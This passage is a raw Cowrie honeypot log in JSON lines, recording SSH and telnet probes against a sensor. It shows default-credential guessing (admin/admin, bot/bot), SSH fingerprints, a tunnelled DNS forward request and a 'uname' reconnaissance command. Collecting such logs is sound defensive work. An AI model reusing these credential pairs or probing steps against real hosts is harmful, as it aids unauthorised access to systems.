16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:59.541715Z","src_ip":"2.57.122.208","session":"7ad996255403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:00.522690Z","src_ip":"2.57.122.208","session":"7ad996255403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:01.816680Z","src_ip":"2.57.122.208","session":"7ad996255403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.62","src_port":37913,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc37aadfe7a","protocol":"telnet","message":"New connection: 104.152.52.62:37913 (159.203.135.109:23) [session: bdc37aadfe7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:39.287980Z"}
{"eventid":"cowrie.session.closed","duration":0.005076885223388672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:39.292946Z","src_ip":"104.152.52.62","session":"bdc37aadfe7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.58","src_port":37587,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf4ae1ab9b0","protocol":"telnet","message":"New connection: 104.152.52.58:37587 (159.203.135.109:23) [session: ddf4ae1ab9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:39.330879Z"}
{"eventid":"cowrie.session.closed","duration":0.023267269134521484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:39.354134Z","src_ip":"104.152.52.58","session":"ddf4ae1ab9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.137","src_port":63744,"dst_ip":"159.203.135.109","dst_port":22,"session":"672847a63929","protocol":"ssh","message":"New connection: 205.210.31.137:63744 (159.203.135.109:22) [session: 672847a63929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:56.311834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:56.319577Z","src_ip":"205.210.31.137","session":"672847a63929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:47:56.444057Z","src_ip":"205.210.31.137","session":"672847a63929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:48:04.360934Z","src_ip":"205.210.31.137","session":"672847a63929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fb512bbf52b","protocol":"ssh","message":"New connection: 2.57.122.208:43696 (159.203.135.109:22) [session: 5fb512bbf52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:14.319730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:14.327384Z","src_ip":"2.57.122.208","session":"5fb512bbf52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:14.527440Z","src_ip":"2.57.122.208","session":"5fb512bbf52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:15.232766Z","src_ip":"2.57.122.208","session":"5fb512bbf52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:16.339665Z","src_ip":"2.57.122.208","session":"5fb512bbf52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48568,"dst_ip":"10.17.0.5","dst_port":22,"session":"f414292a8fa3","protocol":"ssh","message":"New connection: 2.57.122.208:48568 (10.17.0.5:22) [session: f414292a8fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:47.230579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:47.325296Z","src_ip":"2.57.122.208","session":"f414292a8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:47.520851Z","src_ip":"2.57.122.208","session":"f414292a8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:48.220239Z","src_ip":"2.57.122.208","session":"f414292a8fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:49:49.620787Z","src_ip":"2.57.122.208","session":"f414292a8fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17672,"dst_ip":"10.17.0.5","dst_port":22,"session":"52848cb086a8","protocol":"ssh","message":"New connection: 87.251.64.176:17672 (10.17.0.5:22) [session: 52848cb086a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:10.427740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:10.432971Z","src_ip":"87.251.64.176","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:10.529105Z","src_ip":"87.251.64.176","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:10.818291Z","src_ip":"87.251.64.176","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:10.917177Z","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:11.015186Z","src_ip":"87.251.64.176","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:51:11.117419Z","src_ip":"87.251.64.176","session":"52848cb086a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48242,"dst_ip":"159.203.135.109","dst_port":22,"session":"4133598a9038","protocol":"ssh","message":"New connection: 2.57.122.208:48242 (159.203.135.109:22) [session: 4133598a9038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:01.701822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:01.906883Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:01.911037Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:03.124537Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:03.966994Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:03.969478Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:04.276041Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:04.281149Z","src_ip":"2.57.122.208","session":"4133598a9038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59682,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44a0ec7a75e","protocol":"ssh","message":"New connection: 2.57.122.208:59682 (10.17.0.5:22) [session: f44a0ec7a75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:32.656354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:32.824431Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:32.827847Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:33.626721Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:34.166641Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:34.169962Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:34.430856Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:52:34.435502Z","src_ip":"2.57.122.208","session":"f44a0ec7a75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.43","src_port":63158,"dst_ip":"10.17.0.5","dst_port":23,"session":"66cc09149fb9","protocol":"telnet","message":"New connection: 205.210.31.43:63158 (10.17.0.5:23) [session: 66cc09149fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:17.130765Z"}
{"eventid":"cowrie.session.closed","duration":9.954350233078003,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:27.084974Z","src_ip":"205.210.31.43","session":"66cc09149fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37342,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5c79c7f2c3","protocol":"ssh","message":"New connection: 2.57.122.208:37342 (159.203.135.109:22) [session: 0e5c79c7f2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:50.465230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:50.639706Z","src_ip":"2.57.122.208","session":"0e5c79c7f2c3","protocol":"ssh"}
